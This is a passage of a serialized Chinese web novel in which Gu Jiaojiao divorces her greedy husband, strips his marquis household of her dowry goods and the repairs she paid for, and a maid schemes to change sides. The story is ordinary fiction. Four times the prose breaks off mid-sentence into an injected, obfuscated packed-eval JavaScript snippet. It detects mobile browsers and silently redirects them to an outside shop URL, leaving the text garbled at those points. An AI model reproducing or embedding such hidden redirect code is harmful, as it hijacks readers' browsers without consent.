顾皎皎身旁小厮见状忙将她护在身后,用警惕的目光盯着孙协兆。 顾皎皎将两名小厮推开,她笑着与孙协兆对视,双手交叉到一处:“孙三,你知道我的实力的,你确定要这样?” 孙协兆瞳孔缩了缩,一些不太美好的记忆涌现出来,恐惧爬上心间,他下意识后退一步。 他怎么忘了,这贱妇并非什么肩不能扛手不能提的弱女子,而是个彪悍的母老虎啊! 顾皎皎很满意他的反应,再次将和离书往他面前递了递:“喏。” 孙协兆还是不愿接。 顾皎皎耐心告罄,她挑眉:“若是你在这般推三阻四,我便叫莺儿去将小云南王、杜玉荣杜大人,哦,还有你那外室许 青青一同找来,让他们瞧瞧你是怎样一副出尔反尔的嘴脸。” “你竟敢威胁我?!”孙协兆咬牙,情绪已在爆发的边缘。 “对,没错,你可以这么理解。”顾皎皎心情颇好,她随意在桌上拿了一个林檎果握在手中把玩,精致的眉眼舒缓开来:“威胁的,就是你!” “你!你欺人太甚!” “欺负的就是你。”顾皎皎将林檎果放下,她无意继续与他纠缠,面上笑容消失殆尽:“我再问一遍,这和离书,你今日签还是不签?” 孙协兆自然是不想签的,谁会心甘情愿放弃这么大一颗摇钱树?人总是贪心的,总是既要还要…… 若是能再将拖上一拖,兴许银两与权利都能入他怀。 第七十九章 举步维艰 不用脑子想,顾皎皎也知晓孙协兆这厮此刻究竟在想些什么,他这般贪婪之人,若是当真轻易将和离书给了她,那她还得怀疑其中是否有诈。 如今这般,反倒刚刚好。 她轻轻点头,面上没什么表情波动:“看来今日你是执意要做出尔反尔之人了。” 孙协兆不说话,只一双眸子紧紧盯着她,他在看她的态度,看她是不是真的十分迫切且坚定的要与自己和离,若是她有一丝犹豫,那便证明她对自己还有情,如此他便有法子拿捏她。 见顾皎皎并不像想象中那般暴怒,孙协兆心中燃起希望,他正准备说话,下一秒,顾皎皎的话却直接将他希望粉碎。 顾皎皎:“孙协兆,既然是你出尔反尔在先,那也就怨不得我了。” “莺儿,去将安阳侯府欠咱们皎月阁的所有账簿都拿去张贴在街上,还有,昨日既然是小云南王做的我与他和离的证人,那今日也得将小云南王请来,得让他知晓,是谁人出尔反尔,免得日后泼些脏水在我身上!” “是姑娘,奴婢这就去办!” 莺儿巴不得自家姑娘与孙协兆那厮快些决裂,因此态度十分热忱,接到命令,一溜烟的便要离开。 孙协兆瞪大了眼,不可置信:“顾皎皎,你当真要做得这般绝情吗?” 真让她这般做了,他在小云南面前还如何自处,安阳侯府在京中又如何自处? 顾皎皎嘲讽一笑:“绝情的到底是谁?孙协兆,现如今我愿意心平气和的与你和离,你该偷着乐,若是将我逼急了,便也只能鱼死网破了。” 她声音仍旧淡淡的:“贴账簿,请小云南王仅仅是第一步,若是此次过后你仍不愿和离,不愿归还欠我的银两,那便等着日日夜夜无休无止的麻烦吧!” 孙协兆闻言心下平静了些许,他用讥讽的目光上下打量了她一番,语气轻蔑:“就凭你也敢放下此等大话,你离了安阳侯府啥也不是,况且你不过一介商女,你哪里来的自信能给我带来麻烦?” “你觉得我不能?” “呵,不是我觉得,而是你肯定不能,况且你一个孤女,便是死了也无人问津……”孙协兆眸中露出一抹狠意,他压低声音凑近顾皎皎:“你就不怕,你将我逼急了,我神不知鬼不觉做掉你?” 陌生的温热气息吐到脖颈上,顾皎皎起了一身的鸡皮疙瘩。 她抚着脖颈后退数步,厌恶道:“离我远一点,呵,你觉得你敢杀我?你与小云南王算得上是朋友,那想来昨日你应该也看出了,小云南王待我总是有些不同的,若是你当真对我动了什么心思,让我暴毙,小王爷不会放过你,京中舆论也不会放过安阳侯府!” 顾皎皎在心中对沈云祉说了数句抱歉,如今为了对付孙协兆,也只能利用他了…… “好!好得很!”孙协兆气的咬牙切齿,偏偏却也不能耐她如何。 正是昨日小云南王的态度,使他举步维艰……小云南王与这贱妇究竟是何关系,他认识小云南王这许久,倒是从未见过他对哪个女子这般。 一个荒唐的念头自脑海中升起,但片刻他又摇头否决了,若是云南王登基,小云南王便是太子,怎会看上一个身份低微的商女,且还是有夫之妇! 尽管将这个可能否决了,孙协兆还是不敢轻举妄动,若是因这贱妇得罪了小王爷,那便得不偿失了。 罢了,好汉不吃眼前亏,和离便和离,青青作为平王唯一的郡主,嫁进安阳侯府自会带着丰厚的嫁妆,等日后找到机会,他一定好好料理她! 顾皎皎看着面前神色变换的男人:“怎么样,你可想清楚了?” “和离书拿来,我签就是了。”孙协兆咬牙:“若是我签了和离书后,你仍旧乱来,那我也不是吃素的!” 顾皎皎微微一笑,语气冷漠:“你我和离后便是形同陌路,我料理顾家万贯家财都来不及,哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017294|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会将心思花在你这等钱权皆无之人身上?” 钱权皆无四字如石头一般砸向孙协兆,这是头一遭有人这般说他,虽然顾皎皎说的都是事实,可外面人都会给安阳侯府几分薄面,哪里会口出这等伤人之言? 孙协兆眼眶发红,连呼吸都急促了几分,他快速在和离书上写下自己的名字,后像扔垃圾一般将和离书丢给顾皎皎:“滚,立马滚出安阳侯府,日后别让我在京中见到你!” 顾皎皎没在意孙协兆的态度,她将和离书揣进怀里,这才正色道:“安阳侯府我自是不会多待的,只是离开之前,我总得将我的东西带走,你说是吧?” “你的东西?”孙协兆皱眉,面露不耐:“不是说了银两三年内结清?你除了几分臭钱外,你在安阳侯府还能有什么?” 想到什么,孙协兆挑唇讥讽:“等等,你不会是舍不下安阳侯府的泼天富贵,所以又想赖着不走吧?” 顾皎皎差点没被自己口水噎住,她神色怪异地看了孙协兆一眼:“你对泼天富贵的理解似乎并不准确。” 想到自己接下来要做的事情,她心情颇好,安阳侯府自然不是富贵窝,反而是是非地。 孙协兆情绪已然冷静下来,他睨了顾皎皎一眼:“安阳侯府比不上其他望族 ,可在京中也是比上不足比下有余的存在,于你这个商女来说,你能嫁入安阳侯府如何不是泼天富贵?” “呵,如今这富贵被你自己毁了,那你便回你的市井尘埃里吧,快些滚,莫要让我再瞧见你。” 顾皎皎点头,面上笑意依旧:“不急,我的事情还未干完,况且离开你这儿,我还得去找母亲与大嫂、二嫂告别一番才是,好歹也是做了两载有余的‘一家人’呐!” 一家人?孙协兆如看小丑一般看着顾皎皎,他还以为这贱妇有几分聪明,没料到竟蠢到这个地步! 顾皎皎眯眼看着他,但愿待会儿他还能这般淡定。 第八十章 趁火打劫 不欲继续在孙协兆处浪费时间,顾皎皎扭头看了莺儿一眼:“让你准备的可都准备好了?” 莺儿笑容灿烂:“放心吧姑娘,一早便备好,就等您发号施令了!” 孙协兆看得一头雾水,他有些暴躁:“你们主仆二人在我的书房内打什么哑谜?还不快些滚出去?!” 顾皎皎笑得眉眼弯弯:“该滚出去的是你啊,孙三。” 她的话音一落,书房外涌进数名身强力壮的小厮,他们一上来便将孙协兆叉出了书房。 孙协兆自是不愿的,手脚皆快速动了起来:“你们吃了熊心豹子胆了,竟敢这般对我,在这安阳侯府,谁是主子都分不清了吗?!” 使出浑身解数,孙协兆也未曾挣脱开束缚,因着他的身高没有叉着他的两名小厮高,因此整个人都被架了起来,许是动作太过剧烈,他脚上的鞋子也掉了一只,看起来好不狼狈。 莺儿看着这般场景,笑得前仰后合:“哈哈哈,姑娘,您看他!” 顾皎皎无奈笑了笑:“热闹看够了便干正事儿,此处完了还有呢。” “是,姑娘。” 莺儿敛了面上笑意,冲着身后小厮挥了挥手,小厮们立马朝着书房鱼贯而入。 孙协兆目眦欲裂,动作越发大,他歇斯底里大吼:“混账东西,我的书房是你们能随意闯进去的吗?快给我退出来,否则我定然将你们全都发卖了!” 无人理睬他的话,只专心手上动作。 亲眼见着自己书房中所有的贵重物品被搬空,孙协兆眼眸血红,他恶狠狠瞪着顾皎皎:“贱人,你这是何意!小云南王是做了你我和离的证人,可你怎能仗着有人撑腰便趁火打劫!” 顾皎皎挑眉:“我这算哪门子的趁火打劫?” “这还不算?”此刻被架着的孙协兆看起来十分滑稽,但他却努力让自己看起来更威严一些,他冷脸斥责架着他的小厮:“你们吃了熊心豹子胆了,还不将我放开,信不信我即刻便将你们发卖了?!” 两名小厮闻言不为所动,手上反而更加用力。 顾皎皎看了他一眼:“发卖?孙三,你还是莫要说这等话白白惹人笑话了,他们可都是我顾府的小厮,你有何权利发卖?” 孙协兆噎住,这贱妇竟这么快便将顾府的小厮都找好了! 见小厮们仍在继续搬书房的贵重物品,他这才有了点底气,瞪着顾皎皎怒道:“好,你顾府的小厮我不能发卖,那你如土匪一般搬我书房的物件,这事儿我总管得把?!” “顾皎皎,你最好给我个交代,否则我定要将你这等强盗行为告到官府去,届时,便是小王爷也护不住你!” 顾皎皎看着孙协兆那副脸红脖子粗的模样,没忍住笑出声,清冷的面庞少了些许距离感。 孙协兆看着愣了两秒,而后又快速反应过来:“你竟还有脸笑!” “我为何没脸笑?没脸的应当是你吧,竟想私吞我的嫁妆。”顾皎皎敛了笑意:“我朝例律逐字逐句写好了,女子和离,可自由选择是否带回当初陪嫁的嫁妆,男方不得干预,若有违背者杖责十五。” “怎么?如今你竟是想试试杖责是何滋味?若是你想,我也不是不能帮帮你。” 这下子,孙协兆一个字也说不出了,面色铁青,他自然知晓书房中凡是贵重些的摆件都是当初顾皎皎送来的,可他一直以为她一介妇人,应当不懂律法才是,是以即便和离,他也将这些物品视为自己的,可没想到…… 书房被洗劫一空,只余下一张不怎么值钱的书桌与书架,桌上放着几张泛黄的草纸。 孙协兆怒了:“顾皎皎,你莫要太过份,竟连纸张与文房四宝都收走了!” “你可知那套文宝四宝价值几许?贵重之物我自然要带走,况且澄心堂纸也不是什么普通物件吧,我带走也情有可原,毕竟便宜了谁也不能便宜你啊!” 说完,不待孙协兆反应,她一挥手带着浩浩荡荡一群人离开。< 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“我管你和离还是休弃,总之都是我儿不要你了,只有自己德行有亏之人才会沦 为弃妇,你这样的,休要踏进我的院子,脏了我的宝地。” 顾皎皎听着孙老夫人的话只想笑,她视线落在她不停滚动的脖颈处,这老虔婆一直在吞咽口水,想来也是十分紧张的,表面上做出那么凶的姿态,也只是为了护住从我这儿得到的一些珍贵物件吧。 可惜,她注定不能让她如愿。 “行,我不进去。”顾皎皎从怀中掏出一早便写好的纸张:“莺儿,将这个给孙老夫人送过去,如今我与孙三已然和离,不是一家人自然得说两家话,从前从我这儿拿的,总该还给我吧?” 莺儿将纸张递给孙老夫人,孙老夫人草草看了几眼便将随意将其丢在地上:“我不懂你在说什么,既然已经不是我安阳侯府的人,便快些离开吧。” 第八十一章 生死不论 孙老夫人站起身,她一脚踩在地面的纸张上,神情倨傲:“宋嬷嬷,还不快将不相干的人叉出去,我安阳侯府可不是什么阿猫阿狗都能来的。” “是,老夫人。” 宋嬷嬷虎视眈眈盯着顾皎皎,生怕她做出什么动作。 顾皎皎站在原地任她盯着,神情淡然。 见她确实没什么多余动作,宋嬷嬷松了口气,她朝着身后丫鬟挥了挥手,丫鬟们即刻便向顾皎皎扑过去。 孙老夫人端坐在木椅上,有些许兴奋,这群丫鬟可都是她命令宋嬷嬷在府中精挑细选的,一个个都是干粗活出身,手劲儿十分大,顾皎皎若是被她们抓住,非得褪几层皮不可! 呵,还想将安阳侯府的东西搬走,想得美! 莺儿眼睁睁看着数名膀大腰圆的丫鬟过来,她轻轻拉了拉顾皎皎的衣袖:“姑娘,看样子老夫人是有备而来的,咱们要不要先回去,后面徐徐图之?” 顾皎皎没错过莺儿眼中一闪而逝的恐惧,她轻轻拍了拍她的后背:“你怕什么,这老虔婆有备而来,难道我们便不是有备而来吗?即便是手劲儿再大的女子,也比不过男子。” 她看向孙老夫人,似笑非笑:“老夫人,你这是何意?是准备丁点道理不讲,动粗?” “你可以这么理解,我与你,也没有任何道理可讲。” “原来如此。”顾皎皎若有所思点头,片刻后,她抬眸一笑:“那孙老夫人,你的意思便是今日之事死伤不论咯?” 闻言,孙老夫人愣了愣,直觉其中有诈,但她看了眼顾皎皎身后寥寥几人,又觉得自己太过紧张了。 她身后那几名小厮是人高马大不假,可若真的打起来,到底寡不敌众,没有胜算。 顾皎皎这话倒是提醒了她,若是这贱蹄子在安阳侯府出了事儿,安阳侯府还得担责,如今这贱蹄子主动提了死伤不论,不是瞌睡来了递枕头吗? 孙老夫人点头,语气笃定:“是,死伤不论。” “但愿老夫人莫要出尔反尔才是……” “我会出尔反尔?”孙老夫人嗤之以鼻:“你莫要借此缘由赖着咱们安阳侯府才是!” “不会。” 顾皎皎挥手,数十名小厮从院外涌进院中。 老夫人当场变了脸,她站起身:“贱蹄子,你竟敢使诈!” “兵不厌诈。” 她的话音一落,身后小厮便以极快的速度靠近那一群丫鬟,不消片刻,所有丫鬟都被拍晕,躺了一院子。 见精挑细选之人,就这样便全军覆没,孙老夫人气得差点一口气没提上来,她指着顾皎皎骂到:“贱蹄子,你竟以多欺少,你究竟要不要脸?!” 顾皎皎全然当做没听见,她打量着面前的装潢奢侈的院子,说来嘲讽,这府中所有人的住处都比皎月阁奢华,明明她才是出银子的人,这两年却过着狗一般的日子…… “去,将属于我的,通通拿回来。” “我看你们谁敢!”孙老夫人由宋嬷嬷扶着硬撑着站起身,她双手摊开拦在门前:“今日你们要进去,便踏着我的尸体进去!” “啧。”顾皎皎皱眉,觉得这人甚是麻烦,她正欲说话,那些小厮却将孙老夫人当做空气,自顾自行动起来。 见状,她十分满意,在心中决定回了顾府,给他们多添些月银。 噼里啪啦的声音从屋内传来,这下孙老夫人更气了,看着一件件精致的物件被拿出,她只感觉心在滴血。 不行,她不能任由这贱蹄子将东西全部拿走,如今要将前两年的银子还给她已经是血亏了,这些物件了都是白花花的银子啊!她怎能眼睁睁看着这贱蹄子将府中的银子搬走! 一不做二不休,孙老夫人直接不顾形象,一锭坐在地上哭喊:“天杀的,你竟然带着这么多人到我院中肆意抢夺值钱物件,顾皎皎,你的良心都被狗吃了吗?你这是要逼死我啊!” “你嫁到安阳侯府两年,我自认没有对不起你之处,你怎能这般恩将仇报啊!” 孙老夫人一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾皎皎快气笑了,她看了眼屋内小厮们的进度,见东西搬得差不多了,她不欲多和几人纠缠,因此并未说话。 第八十二章 该回家了 刘氏见状却认为她理亏,越发蹬鼻子上脸起来。 她挺直腰杆一副趾高气昂的模样:“这样吧,你将所有东西还回来,我们便不与你计较,如今你虽然已经与三弟和离了,不过若是以后你是在走投无路了,我们也会发发善心,在府中给你留一个清闲些的活计,总之不会让你饿死。” 看着刘氏那副样子,顾皎皎没忍住笑了笑,她不知这刘氏究竟是从何处来的优越感,就凭父亲留下的万贯家财,她再败家也不会沦落到为奴为婢。 她淡声道:“二夫人,你的如意算盘打得真响。” 刘氏不乐意了:“哼,什么叫如意算盘打得响?真是狗咬吕洞宾,不识好人心,我们也是为了你考虑!” “我之前赠与你们的东西,都是价值连城之物,便是一件小小花瓶,我若是将它典当了,下半辈子也是不愁吃喝的。” 顾皎皎眸中带着讥讽:“我该是病得多厉害,才会将价值连城的宝物给你们,再放弃优渥生活,来逐渐式微的安阳侯府为奴为婢?” “你们疯了,还是我疯了?” 孙老夫人闻言不悦,她由宋嬷嬷扶着从地上站起来:“你有再多臭钱又如何,还不是地位卑贱的商女!你能到我安阳侯府为婢都是抬举你了!” 说来说去这些人都只有那么几句话,顾皎皎听得都腻味了,她微笑道:“孙老夫人,既然你们安阳侯府的婢女这般金贵,你还做什么老夫人?不若褪下华服做婢女好了。” “还有大夫人、二夫人,既然你们都觉得府中婢女是个肥差,不若你们三人一起?便从最基础的洒扫丫鬟做起?” 顾皎皎将将说完,小厮便来禀报:“姑娘,东西已经全部拿齐了。” “嗯好,既如此我们走吧。” 孙老夫人闻言面色一变,忙冲进屋内查看她拿了什么东西走,刘氏与章氏亦紧随其后,数秒后,一声尖叫从屋内传出,歇斯底里:“啊!顾皎皎,我要杀了你!” 紧接着,孙老夫人杵着拐杖快步走出拦在顾皎皎身前,她的眼睛都气红了,本就有些佝偻的身体,也因为愤怒而轻轻颤抖着。 “顾皎皎,你个混账东西,我的塌呢!我房中的其他东西呢?!” “你说的塌是这个吗?”顾皎皎无所谓般指了指一旁的罗汉床。 孙老夫人气急:“明知故问!你真是个心狠的,好歹朝夕相处了两载有余,临到头了,你竟然将曾经婆母的屋子洗劫一空!” 她冷笑着威胁:“我警告你,你最好将我们的东西悉数归还,否则,我定然会将你的秉性传播出去,京城就这么大点,若是名声坏了,日后你想再嫁可就难了,孰轻孰重,你自己考量清楚。” 顾皎皎听着只觉得好笑,她直接对上孙老夫人浑浊的眸子:“这罗汉床采用上等金丝楠木制作而成,做工精细,有市无价,当初也是你整日嚷着头疼,我才会将这塌借你睡上几天。” “如今我就要离开安阳侯府了,这塌自然也得随我离开,哦,当然,你屋内所有我的东西都得跟着我离开。” “好!好得很!”孙老夫人气得大笑,她嘲讽道:“反正你都搬了,你怎的不将侯府的什么瓦砾地砖一起搬走?” “瓦砾地砖?”顾皎皎垂眸沉思,似乎真在思考孙老夫人所说之话的可行性。 片刻后,她抬眸:“是了,老夫人你不说我都快忘了,当初我嫁过来时,安阳侯府四处都是破败不堪的,当时我可是出了不少银子修缮。” “那修缮的地方自然也算是我的,如今我要离开了,自然也得一起带着离开。” 孙老夫人与章刘二人皆目瞪口呆,她们没料到顾皎皎竟真会计较到这等地步! 不待她们说话,顾皎皎在孙老夫人院中转了几圈:“这儿、这儿还有哪儿都是我出银子修缮的,带是带不走的,莺儿,你安排几人将我的地方全砸了。” “是,姑娘!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017297|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等孙老夫人反应过来,原本奢华的院子已经变得破败不堪,说是乞丐窝也不为过。 “这……这……”孙老夫人话还未说出口,便两眼一翻被气晕在地。 “母亲!母亲您怎么了!”章刘二人在一旁大声呼唤。 看着身后闹剧,顾皎皎心情颇好:“你们拿一些人去将方才的物件都放在府门口,来一些力气大的随我一道,这安阳侯府可是有不少地方是我当初修缮的,便宜谁也不能便宜一家子畜生!” 等顾皎皎带着小厮出来时,太阳已经快要落山,安阳侯府门口聚集着一堆看热闹的人,此刻侯府门前堆满了琳琅满目的宝贝,看得人眼花缭乱。 人们见到顾皎皎出来,纷纷窃窃私语:“从前便知晓安阳侯府的三夫人是个身家丰厚的,没料到竟会这般富裕,送人都用这么好的东西。” “可不是,从前我还以为是安阳侯府富裕,如今看来富裕的乃是安阳侯府背后的顾夫人呐!” 顾皎皎出来时,朱红色木门大大敞开,外边的百姓们也都瞧见了侯府内的场景。 一人惊呼:“天呐,安阳侯府里边怎会这般破烂,四处看起来都摇摇欲坠的?” “难道是安阳侯府见顾夫人离开,怕新夫人 心有芥蒂,所以便打砸了重新修缮?” 顾皎皎看了眼说话之人,她面不改色道:“你想多了,安阳侯府无心且无这个实力,你们看到的都是我砸的。” “孙协兆负我在先,我怎能忍受用我银子修缮的府邸继续迎新人来住?是以,便都打砸了好些,免得心中膈应。” 众人闻言唏嘘,原来顾夫人竟是这般敢爱敢恨的性子,与她清冷的模样倒是形成了鲜明的对比。 议论声越发多起来,有夸顾皎皎,有骂孙协兆负心的,不过更多的是将安阳侯府当成笑话摆谈。 目的达到,顾皎皎勾唇一笑,眸中似有星河一般亮:“走吧莺儿,咱们该回家了。” 第八十三章 赔了夫人又折兵 莺儿眼眸亦是亮晶晶的,里面盛满了对未来的向往:“是,姑娘,等咱们回了顾府,便不必如在安阳侯府这般,处处受人欺辱!” “是这个道理。”顾皎皎笑了笑,想到什么,她问道:“莺儿,我说的那个包袱你可取了?” 莺儿:“回姑娘,奴婢已经遣了人去,看着时辰应当快回来了。” “那便好,免得耽误了回顾府的时辰。”她轻轻点头后走向一旁,四处破烂的侯府更加大喇喇地呈现在众人面前,议论声越发大起来。 因着从前安阳侯府众人从她处拿了太多东西,为了能将这些东西通通带走,顾皎皎特意找了许多大一些的马车来装,像塌之类的则是用板车。 她徐步至马车前淡声吩咐道:“尽量动作快些,时辰不早了。” “是,姑娘。” 皎月阁 秋容因着莺儿的吩咐,整日都在花房忙碌,已经数日未曾见到顾皎皎身影,她心中隐隐有些担忧,是以今日特意早些忙完来到顾皎皎寝屋外徘徊。 她在院门外来回踱步,在心中思索着待会儿应当怎么搪塞顾皎皎。 怎料她的理由还未想出,却迎面撞上一名眼生的小厮。 秋容皱眉,她跟在姑娘身边数年,从未见过这人,他是谁?怎能随意进出姑娘寝屋? 带着疑问,她拦住小厮去路:“大胆,你是何人,竟敢擅闯姑娘寝屋!” 目光落在小厮手中的包袱上,她好似发现了什么了不得的大事:“好啊,你这小贼竟敢偷东西!你看我不向姑娘告你一状!” 那名小厮的年岁不大,听秋容这般说,登时也吓了一跳,白皙清秀的面庞苍白了几分,手中包袱险些没拿稳掉地上。 见秋容趾高气昂的模样,他只以为是顾皎皎身边颇受器重之人,忙好声解释:“好姐姐,你误会了,这包袱是莺儿姐姐遣我来取的,不是我偷偷遣进去拿的。” 听到莺儿的名字,秋容心中警铃大作,她死死瞪着小厮的眼睛逼问:“这包袱里是什么?莺儿为什么会让你来取?未必你是她的情郎,你们故意里应外合从姑娘处偷拿东西?!” 这下更把小厮吓得够呛,他急切道:“姐姐,你误会了,这都是姑娘的东西,莺儿姐姐此刻正与姑娘忙着,没空来取,所以才遣了我来。” “姑娘的东西?”秋容皱眉看向包袱:“姑娘为何会让人拿包袱?是要出远门么?” 清秀小厮诧异看着秋容:“姐姐,你竟不知么?姑娘与安阳侯府的三爷今日和离了,现如今正在府门口收拾东西呢,待收整妥当便会回顾府去。” “什么?”秋容心中咯噔一下,顿时心乱如麻,这么大的事情她竟一点风声也未曾听到。 清秀小厮见状眸中划过一抹怀疑:“你不是姑娘身边的锦衣丫鬟吗?怎会连姑娘的计划都不知晓?” “谁说我不知道的?”秋容赶忙否认:“方才我不过是考考你罢了,谁知道你是不是来偷东西的?” “那如今姐姐心中应当也知晓了我话的可信程度,若是没有别的事情,我就先将包袱带过去了,否则莺儿姐姐该问我责了。” “去吧!”秋容不耐摆手,也做出要离开的模样。 瞧着小厮的背影在转角处消失,秋容赶忙推开院门,直奔顾皎皎寝屋而去。 虽然方才小厮话说得十分清楚,可秋容心中还是带着些许不信任,无论何事都是眼见为实的好。 吱嘎一声,房门打开,原本布置温馨的屋子,此刻空无一物,此刻秋容才真正相信了那小厮的话,她的心渐渐沉入谷底。 看来姑娘当真因为她与姑爷在书房一事生了芥蒂,否则怎会这般大的事儿都不告知她一声,不行,她得赶紧过去瞧瞧,究竟是继续留在安阳侯府还是随姑娘回顾府,总得看看情况再定。 秋容本欲即刻过去,却猛的嗅见自己身上酸酸的汗臭味,又忙急匆匆回房梳洗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017298|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边,孙老夫人一晕过去,章氏与刘氏二人便慌不择路,还是宋嬷嬷赶忙遣人请了大夫来,才将孙老夫人从鬼门关拉回来。 孙老夫人苍白着唇瓣,无力靠在床榻上:“大夫,我的身子如何,怎的这段时日动不动便会头晕,严重了甚至还会晕过去?” 胡子花白的大夫神色凝重嘱咐:“回老夫人,您的身子本就差,头晕乃至晕倒都是因为动气,切记今后莫要频繁动气,否则伤及根本药石无医啊!” “什么,怎会这般严重……”孙老夫人的声音有气无力:“我这两三年可是吃了不少珍贵药材,像燕窝、鱼翅、人参、雪莲什么的更是没少吃,怎会对身子没有一点裨益?” 闻言大夫摸了摸胡子,了然道:“怪不得,老夫人,您的身子虚弱,若是适当进补对身体自然大有裨益,可若是进补太过了,反而伤身呐!敢问老夫人,您这两年每日食用量是多少?” 孙老夫人面色更加白:“从未记过,不过我吃这些补品,都是当零嘴吃……” “胡闹!”白胡子大夫没忍住,斥责了一声,后觉得十分不妥,又放缓语气道:“老夫人,日后您可莫要干这种糊涂事了,若是再这般不知节制饮食,怕是您身体亏空会更加严重 呐!” 孙老夫人没说话,面色阴沉,她的心情实在算不上好,本来这两年在顾皎皎处拿了许多珍贵药材来调养身体,她还以为赚了,没料到确是害了自己! 现下好了,不仅身子没调理好,从她那儿拿的药材还得给她银子,真是赔了夫人又折兵啊! 宋嬷嬷见主子久久未说话,冲着大夫笑道:“知晓了,日后老夫人定然会注意,烦请大夫开一些强身健体的药方,稍后去账房支取诊金。” 白胡子大夫点头,提笔在宣纸上写下一串药材。 待墨迹干透,他将药方递给宋嬷嬷:“此药方为七日之量,小火慢煎后服用即可,七日后我会再来替老夫人诊脉。” 第八十四章 不讲良心 白胡子大夫顿了顿:“老夫人如今情况较为复杂,为了确保药方的治疗效果好,所以七日后我会重新诊脉,并依照老夫人的情况重新开药方。” 宋嬷嬷了然点头:“那就多谢大夫了,劳你多多费心老夫人病情,届时我会派人请你过来诊脉。” “都是我分内之事,嬷嬷客气,只是切记莫要频繁动气,否则便是华佗在世也无用啊!” 将白胡子大夫送出去,宋嬷嬷将药方递给一旁的丫鬟:“去,按照药方抓药煎煮,然后给老夫人端过来。” “是,宋嬷嬷。” 将一切处理妥当,宋嬷嬷行至老夫人身边站定,她伸出双手缓缓替其按摩头部:“老夫人,方才大夫的话您也听到了,为了您的身体,今后得尽量心平气和了。” 孙老夫人面色仍旧阴沉,却还是闭眸点了点头:“日后我会注意。” 想到了什么,她问道:“顾皎皎那贱人在做什么?” 原本章氏与刘氏如木桩一般杵在原地,一句话也不敢说,当听到顾皎皎三字后,二人忙将视线投在孙老夫人身上,等待下文。 宋嬷嬷:“回老夫人,顾皎皎从府中搬了许多东西,现在正在侯府门前装车……准备将东西全部运回顾府……” 顿了顿,她小声道:“老夫人,现在门前围了不少人,都在看咱们侯府的笑话……” “什么?这贱蹄子定然是故意的!”孙老夫人险些跳起来,但想到大夫的吩咐,又忙将情绪平和下来,她看向章氏与刘氏:“你们二人觉得今日之事应该如何处理?” 章氏与刘氏对望了一眼,异口同声道:“但凭母亲做主。” 刘氏偷偷打量了一下孙老夫人的面色,怕她当真放任今日之事不管了,她又道:“母亲说什么,我与大嫂都赞同,只是母亲,如今顾皎皎那贱人将咱们侯府都快搬空了,又将府中各处打砸得稀巴烂,后续修缮、买物件,哪样不需要银钱……” “若是真这样轻飘飘放她离开,她倒是如意了,可府中又得平白无故支出一大笔银两……” 末了,刘氏加了一句:“当然,这只是儿媳个人的愚见,最后还得母亲您来做主才是” 孙老夫人垂眸,片刻后才道:“你说得十分有理,若是就这样让她离开了,咱们侯府损失惨重。” “宋嬷嬷,扶我起来,我得去门口瞧瞧。” 宋嬷嬷闻言有些不赞同,她面露担忧:“老夫人,什么都没您的身体重要,顾皎皎要走,您便让她走吧……” “我说扶我起来!” 孙老夫人不悦,加重了语气。 宋嬷嬷不敢违背主子的意思,只能照做。 秋容火急火燎赶往安阳侯府大门处,还未走近,便瞧见了门口的情况。 她并未立马出去,而是躲在朱红色圆柱后面观望,若是搞不清情况便贸然出去,怕是会坏事儿。 秋容在圆柱后没站多久,余光便瞧见了有一群人朝着门口走来,她回头看去,发现是孙老夫人与章刘二人。 老夫人与大夫人、二夫人此刻前来,可是为了阻挠姑娘?若是她们双方对上,谁的胜算更大,她又该站在谁的身边? 秋容视线快速在孙老夫人与顾皎皎之间流连,眸中难得涌上些许犹豫、纠结之色,若是选择跟着姑娘回顾府,一切都还是未知数,现如今姑娘确实有银钱傍身,可以后呢?她一个被休弃的女子,如何撑得起顾府,说定要不了几日,便被京中权贵吃得渣都不剩。 若是跟着老夫人,那情况便完全不同,她只要今日表现良好,日后便能仗着老夫人在安阳侯府有立足之地。 两相对比之下,傻子也知道该如何抉择。 心中打定了主意,秋容便思量着该如何在老夫人面前表现,眸光触及台阶下方窃窃私语的人时,她眼眸亮了亮。 她知晓该如何在老夫人面前挣表现了。 顾皎皎一早便瞥见了秋容的身影,见她躲在圆柱后边, 